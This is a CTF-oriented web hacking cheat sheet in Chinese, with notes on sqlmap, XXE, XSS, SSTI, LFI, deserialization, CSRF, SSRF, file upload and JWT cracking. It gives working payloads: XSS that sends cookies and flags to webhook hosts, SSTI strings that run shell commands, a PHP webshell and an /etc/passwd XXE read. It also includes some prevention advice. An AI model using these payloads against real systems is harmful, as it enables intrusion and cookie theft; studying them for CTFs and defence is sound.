Web Cheat Sheet

Web Cheat Sheet

解題重點

  • robots.txt
  • 掃port: nmap: $ sudo apt install net-toolsNMAP教學
    • nmap: $ nmap <url>
  • 封包headers和contents: Wireshark、Browser、BurpSuite
  • cookies
  • Enum directory/dns

Information Leak

Injection

SQLi

  • Day 4 很像走迷宮的sqlmap
  • SQLmap 基本使用 ← 解釋的非常好
    1
    2
      $ sudo apt install sqlmap
      $ sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" --cookie="<cookie key>=<cookie value>"
    
    • 基本必須參數(快速)
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
        # 只需確認是否可注入,並只顯示 payload 技術與後端技術
        $ sqlmap -u "URL"
      
        # 獲取資料庫
        $ sqlmap -u "URL" --dbs
      
        # 獲取資料庫所有 table
        $ sqlmap -u "URL" -D database --tables
      
        # 獲取指定 table 之欄位
        $ sqlmap -u "URL" -D database -T table --columns
      
        # 獲取指定 table 之指定欄位資料
        $ sqlmap -u "URL" -D database -T table -C field1,field2 --dump
      
        # 獲取指定 table 之所有欄位資料(就不要-C而已)
        $ sqlmap -u "URL" -D database -T table --dump
      
        # 不指定table,直接獲取該指定DB所有資料
        $ sqlmap -u "URL" -D database --dump-all
      
    • 常用參數
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
        # 使用隨機選擇的 HTTP User-Agent 標頭值,用於繞過 WAF
        --random-agent
      
        # POST data 也可注入json,看網站怎送請求,--data "{'a':1,'b':2}" 或者 --data '{"a":1,"b":2}'
        --data "a=1&b=2"
      
        # 使用情境通常發生在,某些登入後的頁面才有注入點,不加cookie就存取不到該網站,當然也有些網站即使沒登入,但是沒cookie一樣存取不到
        --cookie "SESSION_ID=xxx;abc=xxx;"
      
        # 使用情境通常是不加的話,可能會被後端或者防火牆攔截等等,如果在header中已經指定User-Agent,就別加--random-agent參數
        --header "User-Agent: Mozilla/5.0 (Windows NT ..."
      
        # 指定注入參數
        -p par1,par2
      
        # 跳過注入參數
        --skip par1,par2
      
        # 指定注入技術,不使用此參數,預設就是全測,有 BEUSTQ
        # boolean error union stacked time inline-queries
        --technique BEQU
      
        # 指定 union select 的 column 列數,可以手動 fuzzing 出來指定
        --union-cols 5
      
        # 指定使用union技術時,每個欄位的值是多少
        # 例如,假設已知cols為5,且union select 1,2,3,4,5,2跟5可回顯資料
        # 如果我想指定注入2的位置,可以這樣下
        # --union-values "1,*,3,4,5"
        --union-values "1,*,3,4,5"
      
        # 指定payload前綴
        --prefix "'"
      
        # 指定payload後綴
        --suffix "-- a"
      
        # 顯示注入過程詳細,數字越大越細,(0~6,預設是1,常用是3,手動可注入但SQLmap找不到時,可以設6協助debug),使用情境通常發生在fuzzing時的注入
        -v 3
      
        # 指定後端資料庫類型,中間有空格要使用雙引號,如:"Microsoft Access"
        --dbms mysql
      
        # 自動模式,自動選取默認預設選項
        --batch
      
        # 跳過防火牆檢測測試
        --skip-waf
      
        # 設定SQLmap注入檢測風險技術,等級1~3,預設1
        # ps. 原本僅使用AND,會變成OR也使用,在某些注入的情境可能會洗到資料庫資料,因此請謹慎使用
        --risk N
      
        # 設定SQLmap注入檢測層級,預設 1,每個層級的說明如下,有關各個level做了什麼,可以去看原文章
        --level N
      
        # 讓SQLmap自己爬網頁上的注入點
        --forms
      
        # 有時候因為TLS/SSL問題會導致sqlmap連不到(但是瀏覽器又可以正常存取),直接使用此命令即可
        --force-ssl
      

XXE - Payload Cheat Sheet

1
2
3
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <data><ID>&xxe;</ID></data>
  • 如何預防:
    • 使用安全配置的 XML parser(如 Java 的 XMLInputFactory 關閉 DTD 與 external entities),因為xxe的攻擊前提在於開啟了不必要的兩個feature,讓attacker可以構造出一組讀取自創的DTD或是外部entity,達成LFI(算是?)
    • 避免不必要的功能開啟
    • 做好輸入驗證和最小權限策略

XSS - CheatSheet

1
2
3
4
5
6
</script><script>
fetch(`/getflag\)
    .then(r=>r.text())
    .then(flag=>location.href=`https://sbk6401.free.beeceptor.com/?f=${flag}`
    )
</script>
  • 利用XSS把session打到webhook上

    1
    2
    3
      window.location=<requestbin.com>/?a+document.cookie
      // or
      fetch("https://webhook.site/699a6563-c9b5-4ad7-adaa-e189c5f78194", { method: 'GET', headers: { 'Cookie': document.cookie } })
    

Command Injection - feifei Cheat Sheet

SSTI - Payload Cheat Sheet

  • 先確認是不是真的有這個問題: {{7*7}} → 49
  • tplmap直接打
    1
    2
      $ ./tplmap.py --engine Jinja2 --os-shell -u "http://rescued-float.picoctf.net:56957/announce" -X POST -d "content=bob"
      $ ./tplmap.py --engine pug --os-shell -u "http://h4ck3r.quest:8008/?name=bob"
    
  • Python(Flask): Jinja2
  • Node.js(Express): PUG / EJS
  • SSTI Payload: 記得找os._wrap_close

    1
    2
    3
    4
    5
    6
      {{().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('id')}}
      {{self.__init__.__globals__.__builtins__.__import__("os").popen("cat%20Flag.txt").read()}}
      {{().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['execl']("/bin/cat", "cat", "./flag.txt")}}
      {{().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['popen']("cat /flag.txt")}}
      {{().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['execl']("/bin/cat", "cat", file.lower())}}
      {{().__class__.__bases__[0].__subclasses__()[138].__init__.__globals__['spawnl']('P_WAIT', "/bin/cat", "cat", file.lower())}}
    

    : 如果., |, _, [], |join這幾個字元是黑名單,可以嘗試用hex

    1
      {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
    

LFI

只是能讀取到victim server上的file content,不見得會有價值,需要搭配其他手法,例如

  1. 寫入webshell之類的達到RCE
  2. 利用PHP的偽協議達到讀特殊檔案的需求
    • http://victim.io/?page=php://filter/convert.base64-encode/resource=<file path>

Deserialization

要能夠達成insecure的反序列化,最重要的兩個前提是1) 反序列化的資料可控 2) 針對各個語言反序列化時或之後會觸發哪些magic method

  • 可以搭配command injection
  • php可以搭配phar
  • POP Chain: 幾乎每個語言都會有類似的問題存在,最常出現在 PHP 反序列化漏洞(PHP Object Injection) 裡。把一堆「本來正常的 class 功能」串起來,變成可以執行惡意行為的一條攻擊鏈。
語言 序列化 反序列化 Magic Method  
Python pickle.dumps() pickle.loads() __reduce  
PHP serialize   unserialize __destruct(): Object被銷毀或garbage collection會觸發
__wakeup(): unserialize時自動觸發
__call(): 如果被呼叫一個不存在的方法就會嘗試呼叫,$obj->note_exist();
__toString(): 在被當成String處理時呼叫,echo $obj;
Java     toString
readObject
finalize
 
.NET     ViewState & Session會存放序列化資料  

Frontend

攻擊者沒有直接攻擊受害者,而是把惡意程式植入到受害者會瀏覽的網頁,當受害者瀏覽該網頁時,就會自動執行惡意程式,並把受害主機的一些資料送回給駭客,可能是利用beeceptor這樣的外部server(這是其中一種受害方式,也可能很直接的被盜取COOKIE之類的)

SSRF

create一個偽造的payload和一個對外的中間server溝通,並讓這個中間server因為我的偽造payload而同意讓我和更裡面的內網server溝通,這樣我就打到inner server,如果有preview card這樣的網站要特別注意有沒有SSRF的問題

  • 利用gopher協議建一個偽造payload

  • 如何預防:

    • 限制可訪問的 URL / IP 範圍(使用whitelist)
    • 避免解析內部 IP → 防止攻擊者透過 URL 指向內網或 localhost (127.0.0.1) 服務。
    • 使用安全的 HTTP client → 設定 timeout、最大連線數、禁用不必要的協議(FTP、file://、gopher:// 等)。
    • 對特殊情境使用代理 / sandbox

CSRF(Cross-Site Request Frogery)

  • [Day25]- 新手的Web系列CSRF
    1. 使用者登入網站
    2. 使用者透過身份驗證在本機形成cookie
    3. 使用者點擊含有惡意程式的連結,或是直接連結了第三方網站,並瀏覽了帶有以下html程式碼的網頁:<img src=http://www.***.com/transfer.php?id=5&money=22>
    4. 惡意程式碼利用使用者的身份發請求,即執行CSRF
    5. 使用者的帳號少錢錢勒QQ

    常見的CSRF方法

    • HTML標籤
      • <img>標籤屬性
        1
          <img src="惡意連結">
        

        以GET方式請求第三方網站,瀏覽器會帶上使用者的cookie發出GET請求

      • <script>標籤屬性
        1
          `<script src="惡意連結">`
        
      • <iframe>標籤屬性
        1
          `<iframe src="惡意連結">`
        

也就是他和XSS的其中一個目的有點像,那就是偷到使用者的cookie/session,只是方式不同,一個是利用javascript的injection,一個則是利用釣魚或其他的方式迫使使用者點開惡意網站,並且冒用使用者的身份對原本使用者正在使用的網站進行各種request,如果該網站沒有對user進行額外的身份驗證,那們光靠user cookie/session就有機會達成轉帳、發文之類的操作

如何預防CSRF

  • CSRF Token: 這是最簡單的方式,既然attacker可以透過惡意網站得到victim的cookie,那我就額外在server side多一個驗證token的步驟,而該token無論如何都不會被attacker利用惡意網站得知,就可以確保目前的request是不是本人,而為什麼CSRF token無法被attacker得知呢?核心原因在於 Same-Origin Policy (SOP)。這是瀏覽器的安全機制,規定:

    JavaScript 或網頁只能讀取同一來源(protocol + domain + port)的資源,不能跨域讀取其他網站的內容。

    所以,attacker的惡意網站並不會得知user在a.com這個網域的token,應該說原本就是這樣設計的,所以除非attacker現場看到受害者的browser content,才能得知CSRF Token

  • SameSite Cookie

    就是設定cookie

    Set-Cookie: sessionid=abc123; SameSite=Strict

    SameSite的效果是跨網站 request 不會帶 cookie,那麼同樣的就算victim點開malicious website,也一樣不會被對方讀取到cookie

  • 敏感操作使用 POST

    前面的payload範例有提到很多都是透過GET qeury進行惡意操作,那麼我們只要把敏感操作都利用POST的方式處理,就可以大大降低CSRF發生的情況

Upload

  • 如果沒有任何保護: 直接upload webshell.php(<?php system($_GET["sh"]); ?>)達到RCE
  • 如果有保護但只看extension: 那就偽造extension後夾帶webshell達到RCE(webshell.png.php)
  • bypass IMAGETYPE(加入合法的File Signature) + bypass file type(修改封包header)

如果是WordPress網頁

  • WpScan專門檢測WordPress類型的網頁,有哪些漏洞,前期可以掃描出WP版本、安裝的theme或是插件有哪些、安全漏洞等等

Tools

Fuck Beautifier  
jsfuck
JS 混淆器
把JS的程式變成可讀性很差的東西 JSNice
jjencode JS 反混淆器: 可以反混淆或解密JS的檔案  
aaencode JS 壓縮+加密+混淆+美化  
Esolang List JS Fuck Decode  
  aadecode  
  • psysh: PHP的互動式shell

  • wasm → c: wabt
    1
    2
    3
    4
    5
    6
      # 安裝Cmake,所有過程一定要用WSL
      $ mkdir build && cd build
      $ cmake ..
      $ cmake --build .
      # 按照說明build完後進到./build
      $ ./wasm2c {wasm file path} -o {output c file path}
    
  • Webhook
  • JWT Decoder/Encoder

  • 爆破JWT
    • 利用Hashcat
      1
        $ hashcat -a 3 -m 16500 jwt.txt ?a?a?a?a
      
    • 利用John
      1
        $ john jwt.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256